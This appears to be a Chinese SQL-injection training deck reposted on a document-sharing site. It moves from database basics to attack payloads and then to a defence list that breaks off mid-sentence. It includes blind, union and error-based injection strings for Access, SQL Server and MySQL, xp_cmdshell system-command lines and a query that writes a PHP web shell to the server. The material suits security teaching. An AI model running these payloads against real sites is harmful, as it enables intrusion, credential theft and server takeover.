版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
SQL注入攻擊與防御SQL注入圖像、語音、文字等數(shù)據(jù)(Data)在計(jì)算機(jī)系統(tǒng)中,各種字母、數(shù)字符號(hào)的組合、語音、圖形、圖像等統(tǒng)稱為數(shù)據(jù)。Access、MSSQL、Oracle、SQLITE、MySQL等數(shù)據(jù)庫(Database)數(shù)據(jù)庫是按照數(shù)據(jù)結(jié)構(gòu)來組織、存儲(chǔ)和管理數(shù)據(jù)的“倉(cāng)庫”。Access、MSSQL、Oracle、SQLITE、MySQL等數(shù)據(jù)庫管理系統(tǒng)(DBMS)數(shù)據(jù)庫管理系統(tǒng)(databasemanagementsystem)是一種操縱和管理數(shù)據(jù)庫的軟件,用于建立、使用和維護(hù)數(shù)據(jù)庫。它對(duì)數(shù)據(jù)庫進(jìn)行統(tǒng)一的管理和控制,以保證數(shù)據(jù)庫的安全性和完整性。DQL、DDL、DML、TCL、DCL結(jié)構(gòu)化查詢語言(SQL)結(jié)構(gòu)化查詢語言(StructuredQueryLanguage)簡(jiǎn)稱SQL,結(jié)構(gòu)化查詢語言是一種數(shù)據(jù)庫查詢和程序設(shè)計(jì)語言,用于存取數(shù)據(jù)以及查詢、更新和管理關(guān)系數(shù)據(jù)庫系統(tǒng)。SQL注入這是一個(gè)Access數(shù)據(jù)庫SQL注入靜態(tài)網(wǎng)頁:
html或者h(yuǎn)tm,是一種靜態(tài)的頁面格式,不需要服務(wù)器解析其中的腳本。由瀏覽器如(IE、Chrome等)解析。1.不依賴數(shù)據(jù)庫2.靈活性差,制作、更新、維護(hù)麻煩3.交互性交差,在功能方面有較大的限制4.安全,不存在SQL注入漏洞動(dòng)態(tài)網(wǎng)頁:
asp、aspx、php、jsp等,由相應(yīng)的腳本引擎來解釋執(zhí)行,根據(jù)指令生成靜態(tài)網(wǎng)頁。1.依賴數(shù)據(jù)庫2.靈活性好,維護(hù)簡(jiǎn)便3.交互性好,功能強(qiáng)大4.存在安全風(fēng)險(xiǎn),可能存在SQL注入漏洞SQL注入漏洞介紹
由于程序中對(duì)用戶輸入檢查不嚴(yán)格,用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQLInjection,即SQL注入。原因分析
其本質(zhì)是由于對(duì)輸入檢查不充分,導(dǎo)致SQL語句將用戶提交的非法數(shù)據(jù)當(dāng)作語句的一部分來執(zhí)行。SQL注入SQL注入分類:按提交字符類型可分為:數(shù)字型
字符型
搜索型按HTTP提交方式可分為:GET、POST、Cookie按注入方式可分為:盲注、
union注入、報(bào)錯(cuò)注入、基于時(shí)間注入編碼問題:寬字節(jié)注入SQL注入如何判斷?1.單引號(hào)判斷2.數(shù)字型注入判斷①and1=1and1=2and1isnulland1isnotnullanduser>0②參數(shù)進(jìn)行運(yùn)算+1-1'+'→'%2B'3.字符型注入判斷①'and'1'='1'and'1'='24.搜索型注入判斷①test%'and1=1and'%'='test%'and1=2and'%'='SQL注入如何攻擊?Access→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1asc(mid(id,1,1))fromadmin)>X無差異→構(gòu)造差異andiif((1=1),2,'a')=2andiif((1=2),2,'a')=2SQL注入SqlServer注入→三種權(quán)限①SA權(quán)限可以利用MsSQL數(shù)據(jù)庫自帶的擴(kuò)展存儲(chǔ)(如:xp_cmdshell、xp_regwrite、sp_oacreate等)執(zhí)行系統(tǒng)命令。②DB_OWNER權(quán)限具有對(duì)當(dāng)前數(shù)據(jù)庫的修改、刪除、新增數(shù)據(jù)表以及執(zhí)行xp_regread、xp_dirtree等部分存儲(chǔ)過程的權(quán)限。差異備份獲取Webshell。③PUBLIC權(quán)限權(quán)限最小,通常通過報(bào)錯(cuò)注入,盲注,從而獲得后臺(tái)管理員帳號(hào)密碼。SQL注入如何判斷權(quán)限?1.有錯(cuò)誤回顯①anduser>0
2.無錯(cuò)誤回顯①and1=(selectis_member('dbo'))//網(wǎng)頁返回正常,說明數(shù)據(jù)庫管理權(quán)限為sa②and1=(selectis_member('db_owner'))//網(wǎng)頁返回正常,說明數(shù)據(jù)庫管理權(quán)限為db_owner③and1=(selectis_member('public'))//網(wǎng)頁返回正常,說明數(shù)據(jù)庫管理權(quán)限為publicSQL注入SqlServer→盲注andexists(select*fromtable)andexists(selectcolumnfromtable)and(selecttop1len(id)fromadmin)>0and(selecttop1ascii(substring(password,1,1))fromadmin)>XSQL注入SqlServer→報(bào)錯(cuò)當(dāng)前數(shù)據(jù)庫有哪些表and(selecttop1namefromsysobjects)=1and(selecttop1namefromsysobjectswherenamenotin('admin','bigclass'))=1表中的字段and(selecttop1col_name(object_id('admin'),1)fromsysobjects)=1字段的值and(selecttop1passwordfromadmin)=1SQL注入SqlServer(sa權(quán)限)→關(guān)閉錯(cuò)誤提示獲取Web路徑①win2003execmaster..xp_cmdshell'copyC:\Windows\system32\inetsrv\MetaBase.xmlC:\Windows\Help\iisHelp\common\404.html'--②win2000execmaster..xp_cmdshell'copyC:\Winnt\system32\inetsrv\MetaBase.xmlC:\Winnt\Help\iisHelp\common\404.html'--SQL注入SqlServer(sa權(quán)限)→關(guān)閉錯(cuò)誤提示執(zhí)行命令得到回顯①win2003execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt'--②win2000execmaster..xp_cmdshell'netuser>C:\Inetpub\wwwroot\cmd.txt--SQL注入MySQL注入獲取查詢的字段數(shù)→orderbyN數(shù)據(jù)庫名→and1=2unionselect1,SCHEMA_NAMEfrominformation_schema.SCHEMATAlimitN,1表名→and1=2unionselect1,TABLE_NAMEfrominformation_schema.TABLESwhereTABLE_SCHEMA=庫HEX值limitN,1字段→and1=2unionselect1,COLUMN_NAMEfrominformation_schema.COLUMNSwhereTABLE_NAME=表名HEX值limitN,1連接字段→group_concat()SQL注入MySQL通用報(bào)錯(cuò)and(select1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)%23SQL注入MySQL寫文件①必須知道網(wǎng)站的絕對(duì)路徑,這樣才能寫對(duì)目錄;②Mysql的版本在4.0以上,才能使用union進(jìn)行聯(lián)合查詢;③PHP配置文件php.ini中的magic_quotes_gpc=off,沒有對(duì)單引號(hào)進(jìn)行過濾;④Mysql數(shù)據(jù)庫當(dāng)前用戶擁有file_priv權(quán)限;⑤“Network”組的用戶對(duì)網(wǎng)站目錄有寫權(quán)(windows操作系統(tǒng)下網(wǎng)站目錄一般都具有該權(quán)限)。SQL注入MySQL寫文件/test.php?id=6and1=2unionselect1,2,'<?phpsystem($_REQUEST[cmd]);?>',4,5,6intooutfile'C:/apache/htdocs/site/shell.php'導(dǎo)出shell的新方式,不需要union協(xié)助select*fromtablelimit1intooutfile"d:/test.txt"linesterminatedby"<?phpeval($cmd)?>"SQL注入自動(dòng)化注入工具→SqlMapSQL注入自動(dòng)化注入工具→PangolinSQL注入如何防范?①對(duì)進(jìn)入數(shù)據(jù)庫的特殊字符('"\尖括號(hào)&*;等)進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換。②嚴(yán)格限制變量類型,比如整型變量就采用intval()函數(shù)過濾,數(shù)據(jù)庫中的存儲(chǔ)字段必須對(duì)應(yīng)為int型。③數(shù)據(jù)長(zhǎng)度應(yīng)該嚴(yán)格規(guī)
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 淘寶網(wǎng)店代理分銷協(xié)議
- 專項(xiàng)職業(yè)培訓(xùn)合同
- 質(zhì)押借款合同擔(dān)保
- 嚴(yán)禁放煙花爆竹倡議書(9篇)
- 房屋買賣合同抵債的風(fēng)險(xiǎn)控制
- 權(quán)威科技服務(wù)合同模板服務(wù)合同
- 農(nóng)用塑料薄膜買賣合同樣本
- 會(huì)議翻譯與語言服務(wù)協(xié)議
- 室內(nèi)照明工程分包合同
- 機(jī)床設(shè)備采購(gòu)合同簽訂前的風(fēng)險(xiǎn)評(píng)估
- apt攻擊專項(xiàng)應(yīng)急預(yù)案
- 小學(xué)三年級(jí)秋季學(xué)期《道德與法治》(統(tǒng)編版)學(xué)習(xí)任務(wù)單(全冊(cè)匯總)
- 奧迪A7L汽車說明書
- 美育-美即生活 美育期末試卷及答案
- 網(wǎng)站項(xiàng)目功能測(cè)試驗(yàn)收?qǐng)?bào)告
- 自考02313電力系統(tǒng)微型計(jì)算機(jī)繼電保護(hù)歷年(12-19)真題試卷
- 馬克思主義基本原理智慧樹知到答案章節(jié)測(cè)試2023年重慶工商大學(xué)
- 合理性、先進(jìn)性的證明
- 人教版數(shù)學(xué)三年級(jí)上冊(cè)分?jǐn)?shù)的初步認(rèn)識(shí)分?jǐn)?shù)的初步認(rèn)識(shí)-課件16
- 選必中第一單元大單元教學(xué)設(shè)計(jì)
- GB/T 34281-2017全民健身活動(dòng)中心分類配置要求
評(píng)論
0/150
提交評(píng)論